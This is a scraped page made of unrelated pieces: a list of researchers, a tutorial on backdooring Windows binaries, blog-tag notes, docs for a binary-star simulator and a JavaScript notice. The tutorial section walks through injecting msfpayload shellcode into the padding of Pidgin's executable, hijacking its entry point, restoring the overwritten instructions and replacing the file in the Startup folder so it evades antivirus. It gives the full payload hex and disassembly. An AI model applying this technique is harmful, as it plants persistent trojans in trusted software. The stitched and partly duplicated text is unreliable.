- Elizabeth Evans, Cayena Capital Management, LLC
- Elena Falcettoni, Federal Reserve Board of Governors
- Jessie Finnochiaro, University of Colorado Boulder
- Felix Fischer, Queen Mary University of London
- Rupert Freeman, Microsoft Research
- Jiarui Gan, University of Oxford
- Nikhil Garg, Stanford University
- Joel Goh, NUS Business School
- Michelle Gonzalez Amador, United Nations University
- Abhishek Gupta, Microsoft and Montreal AI Ethics Institute
- Wade Hann-Caruthers, Caltech
- Yoan Hermstrüwer, Max Planck Institute for Research on Collective Goods
- Marc Juarez, University of Southern California
- Anson Kahng, Carnegie Mellon University
- Adam Kapor, Princeton University
- Maximilian Kasy, University of Oxford
- Matthew Kenney, Duke University
- Robizon Khubulashvili, Pennsylvania State University
- Lynn Kirabo, Carnegie Mellon University
- Sara Kingsley, Carnegie Mellon University
- Karen Levy, Cornell University
- Wanyi Li, Stanford University
- Edwin Lock, University of Oxford
- Vahideh Manshadi, Yale University
- Nicholas Mattei, Tulane University
- Duncan McElfresh, University of Maryland
- Jasmin McNealy, University of Florida
- Teddy Mekonnen, Brown University
- Eric Mibuari, Harvard University
- Ken Moon, University of Pennsylvania - Wharton
- Nyalleng Moorosi, Google AI South Africa
- Zanele Munyikwa, MIT Sloan
- George Obaido, University of the Witwatersrand, Johannesburg
- Chinasa Okolo, Cornell University
- Roya Pakzad, Taraaz
- Bobby Pakzad-Hurson, Brown University
- Lucy Qin, Brown University
- Manish Raghavan, Cornell University
- Evan Riehl, Cornell University
- Sarah Riley, Cornell University
- David Robinson, Upturn
- Daniela Saban, Stanford University
- Zhaowei She, Georgia Institute of Technology
- Eric Sodomka, Facebook Research
- Nicolas Stier, Facebook Research
- Inbal Talgam-Cohen, Technion - Israel Institute of Technology
- Alex Teytelboym, University of Oxford
- Neil Thakral, Brown University
- Winnie van Dijk, University of Chicago
- Daniel Waldinger, New York University
- Yixin Wang, Columbia University
- Anne Washington, New York University
- Lily Xu, Harvard University
- Angela Zhou, Cornell University


# The starup folder for all users contains a shortcut to Pidgin.
C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Volume in drive C has no label.
Volume Serial Number is CA24-B8EA
Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
11/23/2014 01:09 AM <DIR> .
11/23/2014 01:09 AM <DIR> ..
11/23/2014 01:09 AM 1,328 pidgin.exe.lnk
1 File(s) 1,328 bytes
2 Dir(s) 55,254,183,936 bytes free
We could replace this binary with a backdoor, that way each time the system boots our malicious code would be run. However, doing so would be painfully obvious, Pidgin would not start and a closer investigation would immediately reveal our deception.
Instead, we will
(1) download the executable to our attacking machine,
(2) inject our malicious code into the binary,
(3) make sure it still works as intended and
(4) replace it on the target machine.
The resulting executable will be fully undetectable by AV and will not raise any undue suspicions as pidgin will still function normally. The necessary modification can be made using Immunity debugger (or Olly).
First we will need to take note of pidgin's module entry point. The instructions there are the first thing the program will execute when it is launched.
First we will need to take note of pidgin's module entry point. The instructions there are the first thing the program will execute when it is launched.
Next we need to find some empty space, large enough to store our shellcode. If you have ever taken a close look at PE executables you will know that there is a huge null-bytes padding at the end of each section (.text, .data, .rdata,..). In this case we can simply scroll down to the end of the ".text" section, the padding there will be a perfect location for our shellcode.
The basic principle is pretty straight forward:
(1) we need to modify the entry point to jump to the null-byte padding,
(2) at the jump destination we inject our shellcode,
(3) we fix any instructions we nuked at the entry point and hand the program control back over to the legitimate code.
First lets modify the entry point to jump to our null-byte padding. If you compare the new entry point with the old one you will notice that several instructions have been messed up. We will see how to correct those later.
Next we need to generate some shellcode which we can copy into the executable as our payload. As an aside, encoding the shellcode is not necessary, in fact doing so may cause issues when the decoder stub tries to unpack it.
# grep & tr to strip out all unnecessary data.
root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n'
fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42
3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b
582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff
d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300
This shellcode will require some minor modifications to run correctly. When the shellcode gets executed the epilogue will end up calling "ntdll.KiFastSystemCallRet" which will in turn terminate execution flow. Since we want to preserve the original program flow we will need to stop this from happening. The resulting shellcode in the debugger can be seen below.
0040391C 60 PUSHAD Save registry and flag values!
0040391D 9C PUSHFD
0040391E FC CLD
0040391F E8 89000000 CALL pidgin.004039AD
00403924 60 PUSHAD
00403925 89E5 MOV EBP,ESP
00403927 31D2 XOR EDX,EDX
00403929 64:8B52 30 MOV EDX,DWORD PTR FS:[EDX+30]
0040392D 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00403930 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14]
00403933 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28]
00403936 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26]
0040393A 31FF XOR EDI,EDI- 0040393C 31C0 XOR EAX,EAX
0040393E AC LODS BYTE PTR DS:[ESI]
0040393F 3C 61 CMP AL,61
00403941 7C 02 JL SHORT pidgin.00403945
00403943 2C 20 SUB AL,20
00403945 C1CF 0D ROR EDI,0D
00403948 01C7 ADD EDI,EAX
0040394A ^E2 F0 LOOPD SHORT pidgin.0040393C
0040394C 52 PUSH EDX
0040394D 57 PUSH EDI
0040394E 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10]
00403951 8B42 3C MOV EAX,DWORD PTR DS:[EDX+3C]
00403954 01D0 ADD EAX,EDX
00403956 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78]
00403959 85C0 TEST EAX,EAX
0040395B 74 4A JE SHORT pidgin.004039A7
0040395D 01D0 ADD EAX,EDX
0040395F 50 PUSH EAX
00403960 8B48 18 MOV ECX,DWORD PTR DS:[EAX+18]
00403963 8B58 20 MOV EBX,DWORD PTR DS:[EAX+20]
00403966 01D3 ADD EBX,EDX
00403968 E3 3C JECXZ SHORT pidgin.004039A6
0040396A 49 DEC ECX
0040396B 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0040396E 01D6 ADD ESI,EDX
00403970 31FF XOR EDI,EDI
00403972 31C0 XOR EAX,EAX
00403974 AC LODS BYTE PTR DS:[ESI]
00403975 C1CF 0D ROR EDI,0D
00403978 01C7 ADD EDI,EAX
0040397A 38E0 CMP AL,AH
0040397C ^75 F4 JNZ SHORT pidgin.00403972
0040397E 037D F8 ADD EDI,DWORD PTR SS:[EBP-8]
00403981 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24]
00403984 ^75 E2 JNZ SHORT pidgin.00403968
00403986 58 POP EAX
00403987 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24]
0040398A 01D3 ADD EBX,EDX
0040398C 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2]
00403990 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C]
00403993 01D3 ADD EBX,EDX
00403995 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00403998 01D0 ADD EAX,EDX
0040399A 894424 24 MOV DWORD PTR SS:[ESP+24],EAX
0040399E 5B POP EBX
0040399F 5B POP EBX
004039A0 61 POPAD
004039A1 59 POP ECX
004039A2 5A POP EDX
004039A3 51 PUSH ECX
004039A4 FFE0 JMP EAX
004039A6 58 POP EAX
004039A7 5F POP EDI
004039A8 5A POP EDX
004039A9 8B12 MOV EDX,DWORD PTR DS:[EDX]
004039AB ^EB 86 JMP SHORT pidgin.00403933
004039AD 5D POP EBP
004039AE 6A 01 PUSH 1
004039B0 8D85 B9000000 LEA EAX,DWORD PTR SS:[EBP+B9]
004039B6 50 PUSH EAX
004039B7 68 318B6F87 PUSH 876F8B31
004039BC FFD5 CALL EBP
004039BE EB 22 JMP SHORT pidgin.004039E2 ---| Hook the shellcode epilog before it ends up
004039C0 90 NOP | calling ntdll.KiFastSystemCallRet
004039C1 90 NOP |
004039C2 90 NOP |
004039C3 68 A695BD9D PUSH 9DBD95A6 |
004039C8 FFD5 CALL EBP |
004039CA 3C 06 CMP AL,6 |
004039CC 7C 0A JL SHORT pidgin.004039D8 |
004039CE 80FB E0 CMP BL,0E0 |
004039D1 75 05 JNZ SHORT pidgin.004039D8 |
004039D3 BB 4713726F MOV EBX,6F721347 |
004039D8 6A 00 PUSH 0 |
004039DA 53 PUSH EBX |
004039DB FFD5 CALL EBP |
004039DD 6361 6C ARPL WORD PTR DS:[ECX+6C],SP |
004039E0 6300 ARPL WORD PTR DS:[EAX],AX |
004039E2 9D POPFD <----- | Restore registry and flag values! ESP has
004039E3 61 POPAD not changed, else we would first need to
add a static value to align the stack.
Before we return execution flow to the module entry point we need to fix the instruction we nuked. Let's compare the module entry point before and after our modification.
All that remains is to append the nuked assembly to the end of our shellcode and jump back to the first untouched instruction at the module entry point.
004039E2 > 9D POPFD
004039E3 . 61 POPAD
004039E4 . 83EC 1C SUB ESP,1C # Instruction restored!
004039E7 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Instruction restored!
004039EE .^E9 B7D8FFFF JMP pidgin.004012AA # JMP back to module entry point.
We can now upload the file back to the target and overwrite the original executable. Any time Pidgin is launched, calc will also launch. Meanwhile, Pidgin will function normally, none of the original code has been modified!


Blog tags
Blog tags can (probably) use any characters allowed as a file name, plus spaces and forward slashes. The tag is transformed into a file name with the filequote
filter. This filter replaces spaces and slashes with the underscore character. Thus, the index for the tag labeled open spaces
will be tags/open_spaces.html
.
Blog dates
Blog dates should be specified with a date
parameter in the YAML source files using the YYYY-MM-DD format. Times are also allowed, using the ragne 00–24 hr and format HH:MM:SS. However, if dates and times are used, they must be uniformly used in all articles.


Trajectory¶
-
class
trajectory.
BinarySystem
(m1, m2, dt=0.01)¶ Simulates a Binary star system. Both the stars are considered as point masses. Only the presence of gravitational force is considered. Following numpy attributes use Cartesian coordinates. 1st value is the x-coordinate, and the 2nd value is the y-coordinate. The initial positions are taken along the x-axis. Initial velocities taken perpendicular to the line joining the centers.
- Parameters
m1 (float) – stellar mass 1
m2 (float) – stellar mass 2
dt (float) – timestep of the simulation (in seconds)
pos1 (numpy,float) – Coordinates of mass 1
pos2 (numpy,float) – Coordinates of mass 2
vel1 (numpy,float) – Velocity of mass 1
vel2 (numpy,float) – Velocity of mass 2
acc1 (numpy,float) – Acceleration of mass 1
acc2 (numpy,float) – Acceleration of mass 2
-
force
()¶ Function to find the gravitational force on MASS1 due to mass2. The force on MASS2 due to mass1 would be the negative of this value
- Returns
force on mass1 due to mass2
- Return type
F (float)
-
update_position
()¶ Function updates the positions of mass1 and mass2 at each time step dt. It calls the force() function to update the acceleration, and hence velocity as well.
- Returns
None
-
trajectory.
orbit_plot
(m1, m2, time, dt=0.01)¶ Plots the orbit of a binary star system, with a constant separation.
- Parameters
m1 (float) – Stellar mass 1 (in units of solar mass)
m2 (float) – Stellar mass 2 (in units of solar mass)
time (float) – Time to run the simulation
dt (float) – Time step of the simulation


This application is unusable without JavaScript. Please turn JavaScript on and reload the page.
Loading...